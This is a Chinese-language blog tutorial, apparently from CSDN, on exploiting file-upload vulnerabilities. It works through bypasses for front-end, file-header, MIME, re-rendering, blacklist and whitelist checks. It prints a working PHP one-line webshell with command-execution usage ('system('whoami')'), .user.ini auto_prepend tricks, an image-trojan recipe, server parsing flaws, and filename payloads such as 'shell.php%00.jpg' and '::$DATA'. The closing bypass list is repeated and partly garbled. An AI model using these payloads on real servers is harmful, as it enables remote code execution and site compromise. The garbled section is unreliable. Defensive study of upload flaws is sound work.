文件上传基础篇

文件上传基础篇

文件上传漏洞原理

​ 目标网站存在文件上传接口,但是对用户上传的文件没有做仔细甄别,导致黑客可以根据此功能点直接上传木马到网站服务器,造成危害

文件上传存在点

​ 通常有头像上传,pdf上传

文件上传防护

​ 前后端同时验证文件后缀,黑白名单,校验文件头,校验文件内容,校验mime,二次渲染

文件上传绕过防护

前端校验:直接警用js或者修改js代码,也可以使用burp抓包修改文件名

文件头校验:常见于图片上传点,服务器会检测文件类型的文件头

常见文件头

JPEG (jpg),                         文件头:FFD8FF               文件尾:FF D9               
PNG (png),                         文件头:89504E47              文件尾:AE 42 60 82
GIF (gif),                           文件头:47494638              文件尾:00 3B                                                                 ZIP Archive (zip),                     文件头:504B0304                      文件尾:50 4B

TIFF (tif),                              文件头:49492A00                      文件尾:
Windows Bitmap (bmp),         文件头:424D                         文件尾:
CAD (dwg),                           文件头:41433130                      文件尾:
Adobe Photoshop (psd),          文件头:38425053                      文件尾:
Rich Text Format (rtf),             文件头:7B5C727466                      文件尾:
XML (xml),                              文件头:3C3F786D6C                     文件尾:
HTML (html),                           文件头:68746D6C3E
Email [thorough only] (eml),     文件头:44656C69766572792D646174653A
Outlook Express (dbx),            文件头:CFAD12FEC5FD746F
Outlook (pst),                         文件头:2142444E
MS Word/Excel (xls.or.doc),      文件头:D0CF11E0
MS Access (mdb),                    文件头:5374616E64617264204A
WordPerfect (wpd),                  文件头:FF575043
Adobe Acrobat (pdf),               文件头:255044462D312E
Quicken (qdf),                         文件头:AC9EBD8F
Windows Password (pwl),         文件头:E3828596

RAR Archive (rar),                    文件头:52617221
Wave (wav),                            文件头:57415645
AVI (avi),                                 文件头:41564920
Real Audio (ram),                     文件头:2E7261FD
Real Media (rm),                       文件头:2E524D46
MPEG (mpg),                           文件头:000001BA
MPEG (mpg),                           文件头:000001B3
Quicktime (mov),                     文件头:6D6F6F76
Windows Media (asf),               文件头:3026B2758E66CF11
MIDI (mid),                        文件头:4D546864

MIME校验:即http数据包中的Content-Type字段,直接用burp抓包修改此字段

二次渲染:上传的文件被服务器端修改了,常见于头像上传

(1)上传gif图片:先将普通的gif图片上传,会被渲染,渲染之后再下载下来,与原git图片对比,找到渲染前后没有变化的位置,然后在这些位置插入一句话木马,再上传即可。

(2)上传jpg图片:这两种格式图片的二次渲染绕过要难很多很多:(索引类型图,写入 PLTE 数据块或写入IDAT数据块),jpg(成功性不大)

条件竞争:当文件上传后会短暂存在然后被删除时,利用短时间大量高并发不停写入文件,文件作用为生成木马文件,当服务器未来得及删除文件时,成功创建木马文件

黑名单:限制一些文件后缀例如(exe,php,jsp,asp等)

上传特殊可解析后缀
asp|asa|cer|cdx
aspx|ascx|ashx|asax|asac
php|php2|php3|php4|php5|asis|htaccess|.user.ini|phtm|phtml、pht(是否解析需要根据配置文件中设置类型来决定)
jsp|jspx|jspf
htm|html|shtml|pwml|js
vbs|asis|sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini
上传.htaccess
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在 httpd.conf 文件中配置。

 .htaccess 文件生效前提条件为:
mod_rewrite 模块开启
AllowOverride All
上传.user.ini文件
原理:
1、.user.ini 有点像.htaccess,php运行时,会检索加载所有目录下的.ini配置文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。
2、.user.ini是一个能被动态加载的ini文件,这点和php.ini不同。也就是说修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
利用:
上传.user.ini
auto_prepend_file=1.gif	# 要访问的文件加载之前加载,
或者
auto_append_file=1.gif	# 要访问的文件加载之后加载

上传一个包含webshell代码的1.gif
GIF98A <?php eval($_REQUEST['a']);?>

访问本目录下任意文件附带参数?a=xxx 就可以实现命令执行
?a=phpinfo(); ?a=system('whoami');

白名单:只允许规定文件后缀上传,常见头像上传(限制只能为gif,png,jpg后缀上传)

图片马结合文件包含漏洞,将恶意代码放在图片马中
生成图片马:
制作方法: copy 1.jpg/b + 1.php/a 2.jpg      b表示二进制文件  a表示ASCII文件

也可以使用edjpgcom.exe工具

然后结合文件包含漏洞利用
配合解析漏洞
IIS:
目录解析漏洞(/test.asp/1.jps)
文件名解析漏洞(test.asp;.jpg)
畸形解析漏洞(test.jpg/*.php)

Nginx:
畸形解析漏洞(test.jpg/*.php)
%00空字节代码解析漏洞
CVE-2013-4547(%20%00)

Apache:
文件名解析漏洞(test.php.owf.xdx)

利用NTFS ADS特性

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

其他
点绕过、空格绕过、后缀双写绕过、后缀大小写绕过、%00绕过、0x00绕过

GET:
shell.php%00.jpg
POST:
(hex里面改)
shell.php%20%00.jpg
shell.php.
shell.php. .
00截断、MIME、点、空格、点空格点、::$DATA
shell.php::$DATA
shell.php 
shell.php.
shell.php. .
GET:
shell.php%00.jpg
POST:
(hex里面改)
shell.php%20%00.jpg

.
shell.php. .
00截断、MIME、点、空格、点空格点、:: D A T A s h e l l . p h p : : DATA shell.php:: DATAshell.php::DATA
shell.php
shell.php.
shell.php. .
GET:
shell.php%00.jpg
POST:
(hex里面改)
shell.php%20%00.jpg


  • 10
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值